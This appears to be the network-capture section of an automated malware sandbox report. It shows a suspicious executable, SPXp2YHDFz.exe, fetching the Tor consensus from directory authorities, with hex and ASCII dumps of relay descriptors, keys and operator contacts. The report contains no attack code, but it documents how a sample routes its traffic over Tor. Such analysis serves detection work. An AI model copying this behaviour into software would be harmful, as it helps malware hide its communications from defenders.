69 64 74 68 20 31 35 37 32 38 36 34 30 20 32 36 32 31 34 34 30 30 20 31 35 38 34 32 34 35 39 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 43 42 33 38 39 34 32 46 38 43 38 44 36 35 38 43 38 31 45 37 39 46 31 35 37 42 32 41 43 39 36 41 32 34 38 45 41 35 31 42 20 6c 4c 6e 34 79 50 4d 6f 63 58 47 4d 34 65 48 4f 6c 6b 68 6c 45 6b 4f 65 6f 4a 36 57 69 43 6d 35 72 59 6f 5a 48 46 55 67 4e 4f 67 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 32 6a 39 70 51 4e 4d 46 79 53 49 34 32 32 56 4b 78 43 31 35 78 32 65 48 55 49 49 75 6f 4e 45 66 69 65 54 69 4e 35 77 7a 4d 6b 4e 31 51 51 4a 39 63 75 73 75 70 55 0a 66 6b 38 4e 78 50 70 43 67 33 62 72 7a 42 51 71 77 4b 2b 68 41 48 33 4a 54 37 6c 62 6e 79 66 55 67 2b 6c 42 51 42 4c 6f 59 4e 32 38 61 71 58 76 75 41 6c 56 4f 53 4b 67 30 48 62 51 78 53 6a 4c 0a 53 56 45 34 6e 4b 47 56 39 4b 43 76 4b 63 6a 56 2b 42 56 6e 35 79 55 31 6b 43 6c 4f 35 34 6a 55 39 50 2f 70 65 71 63 52 66 65 34 71 39 70 73 38 71 5a 2b 44 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 Data Ascii: router fluppflupp42 148.251.68.10 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxFXAfIaCQJVqcnN+eRQtzs2FGbV+ZP0WoyxiBpUj3wKQ94mAQAgBAB+O31zJezE05CxXYxcpWbd3Zu6nncQc3F5ivD76XP1g2HqC60PwD8BfNehD4rluTRQW6RQoEZ9Xc1q59vu+mg0i1R9QeHQGpHjQCsTyg/YGITeybf2K7V4XQB44ZSqQws=-----END ED25519 CERT-----master-key-ed25519 fjt9cyXsxNOQsV2MXKVm3d2bup53EHNxeYrw++lz9YMor-address [2a01:4f8:202:31d6::1]:9001platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-24 07:44:44fingerprint FCE0 C05F 7E2D 0B82 5FA0 FD2A 37BA 5BAE 3C3D 6E13uptime 906808bandwidth 15728640 26214400 15842459extra-info-digest CB38942F8C8D658C81E79F157B2AC96A248EA51B lLn4yPMocXGM4eHOlkhlEkOeoJ6WiCm5rYoZHFUgNOgonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAM2j9pQNMFySI422VKxC15x2eHUIIuoNEfieTiN5wzMkN1QQJ9cusupUfk8NxPpCg3brzBQqwK+hAH3JT7lbnyfUg+lBQBLoYN28aqXvuAlVOSKg0HbQxSjLSVE4nKGV9KCvKcjV+BVn5yU1kClO54jU9P/peqcRfe4q9ps8qZ+DAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BE
Oct 24, 2022 11:00:18.394689083 CEST	2595	IN	Data Raw: 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4c 56 42 41 33 61 65 42 54 7a 76 6a 52 45 36 33 51 58 37 30 74 6b 51 37 30 64 31 77 69 58 44 70 74 59 44 73 4a 70 55 4e 65 77 50 69 4f 71 55 76 Data Ascii: GIN RSA PUBLIC KEY-----MIGJAoGBALLVBA3aeBTzvjRE63QX70tkQ70d1wiXDptYDsJpUNewPiOqUvfydJsklv4HCoLNd6iIVvxOr3b96ZTW8EOCjL7MJfXrPlaWZweYF4ecc7k62eDPOmGtqLoM99eyMr7icB3lk1OY56xCLxUhVdZUh9RTJgrMQC+x0YrM+9E0Zuw3AgMBAAE=-----END RSA PUBLIC KEY-----
Oct 24, 2022 11:00:18.394706011 CEST	2595	IN	Data Raw: 0a 68 69 64 64 65 6e 2d 73 65 72 76 69 63 65 2d 64 69 72 0a 63 6f 6e 74 61 63 74 20 35 42 32 42 38 44 35 37 37 33 36 43 35 43 42 32 45 35 36 31 46 42 34 36 31 33 35 31 37 44 35 43 37 42 44 37 32 42 31 34 20 4d 61 74 74 69 61 73 20 43 6f 63 6b 62 Data Ascii: hidden-service-dircontact 5B2B8D57736C5CB2E561FB4613517D5C7BD72B14 Mattias Cockburn <narfnarfnarf@posteo.it>ntor-onion-key 2bkf/6/sKmt5SgBRbr7gdh3hVJpLvgAiVpOBRZlyRXQreject :router-sig-ed25519 i+e1Tw3/XgvA1B+/ZRxEl2uqjfO4iYKEP80l59xk7cQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49713	86.59.21.38	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:00:23.881959915 CEST	2596	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:26.883790970 CEST	2597	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:29.977938890 CEST	2597	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:33.661732912 CEST	2599	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:00:23 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Mon, 24 Oct 2022 10:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 30 2d 32 34 20 30 39 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 30 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 32 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 33 2d 72 63 2c 30 2e 34 2e 35 2e 34 2d 72 63 2c 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-10-24 09:00:00fresh-until 2022-10-24 10:00:00valid-until 2022-10-24 12:00:00voting-delay 300 300client-versions 0.4.5.1-alpha,0.4.5.2-alpha,0.4.5.3-rc,0.4.5.4-rc,0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10server-versions 0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10known-flags Authority BadExit Exit Fast Guard HSDir NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Co
Oct 24, 2022 11:00:34.655229092 CEST	2601	IN	Data Raw: 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 Data Ascii: ns=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate
Oct 24, 2022 11:00:38.648518085 CEST	2602	IN	Data Raw: 41 45 36 43 44 33 43 31 42 44 35 30 46 0a 64 69 72 2d 73 6f 75 72 63 65 20 6c 6f 6e 67 63 6c 61 77 20 32 33 44 31 35 44 39 36 35 42 43 33 35 31 31 34 34 36 37 33 36 33 43 31 36 35 43 34 46 37 32 34 42 36 34 42 34 46 36 36 20 31 39 39 2e 35 38 2e Data Ascii: AE6CD3C1BD50Fdir-source longclaw 23D15D965BC35114467363C165C4F724B64B4F66 199.58.81.140 199.58.81.140 80 443contact Riseup Networks <collective at riseup dot net> - 1nNzekuHGGzBYRzyjfjFEfeisNvxkn4RTvote-digest 3323E1D84438DB1A17C0D8D2A20051
Oct 24, 2022 11:00:44.662602901 CEST	2604	IN	Data Raw: 69 61 6e 68 61 68 6e 2e 6e 65 74 3e 20 2d 20 31 32 4e 62 52 41 6a 41 47 35 55 33 4c 4c 57 45 54 53 46 37 66 53 54 63 64 61 7a 33 32 4d 75 35 43 4e 0a 76 6f 74 65 2d 64 69 67 65 73 74 20 45 34 38 30 46 33 36 43 33 36 43 42 33 42 33 38 31 41 43 43 Data Ascii: ianhahn.net> - 12NbRAjAG5U3LLWETSF7fSTcdaz32Mu5CNvote-digest E480F36C36CB3B381ACC21E54BB5C039B066E8F0dir-source Faravahar EFCBE720AB3A82B99F9E953CD5BF50F7EEFC7B97 154.35.175.225 154.35.175.225 80 443contact 0x0B47D56D Sina Rabbani (inf0) <s
Oct 24, 2022 11:00:48.445715904 CEST	2605	IN	Data Raw: 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 31 35 30 30 30 0a 70 20 61 63 63 65 70 74 20 32 30 2d 32 33 2c 34 33 2c 35 33 2c 37 39 2d 38 31 2c 38 38 2c 31 31 30 2c 31 34 33 2c 31 39 34 2c 32 32 30 2c 33 38 39 2c 34 34 33 2c 34 36 34 2c 35 33 31 2c 35 Data Ascii: w Bandwidth=15000p accept 20-23,43,53,79-81,88,110,143,194,220,389,443,464,531,543-544,554,563,636,706,749,873,902-904,981,989-995,1194,1220,1293,1500,1533,1677,1723,1755,1863,2082-2083,2086-2087,2095-2096,2102-2104,3128,3389,3690,4321,4643,
Oct 24, 2022 11:00:48.538180113 CEST	2607	IN	Data Raw: 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 Data Ascii: Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=44000p reject 22,25r dc6jgk11d AEClsEx+MJ03y+ftsrctPhXQV8E VViIzTZPaiT6OI3rZ1pUzxOMuzk 2022-10-24 08:33:22 5
Oct 24, 2022 11:00:48.538249969 CEST	2608	IN	Data Raw: 64 30 37 62 3a 65 64 66 64 3a 32 63 38 34 3a 62 62 34 61 5d 3a 34 34 33 0a 73 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 Data Ascii: d07b:edfd:2c84:bb4a]:443s Fast Running V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=56000p reject 1-65535r eisbaer
Oct 24, 2022 11:00:54.676048994 CEST	5097	IN	Data Raw: 35 33 2c 38 30 2c 34 34 33 2c 39 39 31 2c 31 31 39 34 2c 31 32 39 33 2c 33 36 39 30 2c 34 33 32 31 2c 35 32 32 32 2d 35 32 32 33 2c 35 32 32 38 2c 39 34 31 38 2c 31 31 33 37 31 2c 36 34 37 33 38 0a 72 20 76 65 6e 65 6e 61 74 61 20 41 48 66 64 33 Data Ascii: 53,80,443,991,1194,1293,3690,4321,5222-5223,5228,9418,11371,64738r venenata AHfd3bVJVCFM/uD+iqhd3IV+fIo zEithyrnbsovfdf12FajBn/hiyw 2022-10-24 08:14:53 71.19.144.65 9001 0a [2605:2700:0:2:a800:ff:fe2c:cd37]:9001s Fast Running Stable Validv
Oct 24, 2022 11:00:54.676083088 CEST	5099	IN	Data Raw: 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d Data Ascii: che=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=8200p accept 20-21,43,53,79-81,88,110,143,220,389,443,464,531,543-544,554,636,706,749,873,902-904,981,989-993,995,1194,1220,
Oct 24, 2022 11:00:58.180320978 CEST	5105	IN	Data Raw: 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d Data Ascii: Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=130p reject 1-65535r effiorg1984 AMzmqE5tY6GkLhBYObyO1dSxZmk +nsdq5TVbzYCtsJ43g84teE+Lb4 2022-10-24 07:08:05
Oct 24, 2022 11:00:58.180375099 CEST	5107	IN	Data Raw: 20 5b 32 36 32 30 3a 37 3a 36 30 30 31 3a 3a 31 34 34 5d 3a 38 30 0a 73 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e Data Ascii: [2620:7:6001::144]:80s Exit Fast Guard HSDir Running Stable V2Dir Validv Tor 0.4.7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=25000p acc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49719	131.188.40.189	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:00:50.142519951 CEST	2612	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 131.188.40.189 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:00:50.163132906 CEST	2614	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:00:50 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Mon, 24 Oct 2022 10:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 30 2d 32 34 20 30 39 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 30 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 32 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 33 2d 72 63 2c 30 2e 34 2e 35 2e 34 2d 72 63 2c 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-10-24 09:00:00fresh-until 2022-10-24 10:00:00valid-until 2022-10-24 12:00:00voting-delay 300 300client-versions 0.4.5.1-alpha,0.4.5.2-alpha,0.4.5.3-rc,0.4.5.4-rc,0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10server-versions 0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10known-flags Authority BadExit Exit Fast Guard HSDir NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Co
Oct 24, 2022 11:00:50.163156986 CEST	2615	IN	Data Raw: 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 Data Ascii: ns=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate
Oct 24, 2022 11:00:50.163176060 CEST	2616	IN	Data Raw: 74 6f 72 5f 70 65 72 69 6f 64 5f 73 65 63 73 3d 31 30 38 30 30 20 6f 76 65 72 6c 6f 61 64 5f 6f 6e 69 6f 6e 73 6b 69 6e 5f 6e 74 6f 72 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 Data Ascii: tor_period_secs=10800 overload_onionskin_ntor_scale_percent=500 sendme_emit_min_version=1shared-rand-previous-value 9 CEgH9nGSPGGldWgpTiNB8ktMi7U85TgcE1fpst2jcUc=shared-rand-current-value 9 dn+4b/OLLk84s5H2hUfLnWF+L04m8/PsRA5+jVuyLx8=dir-so
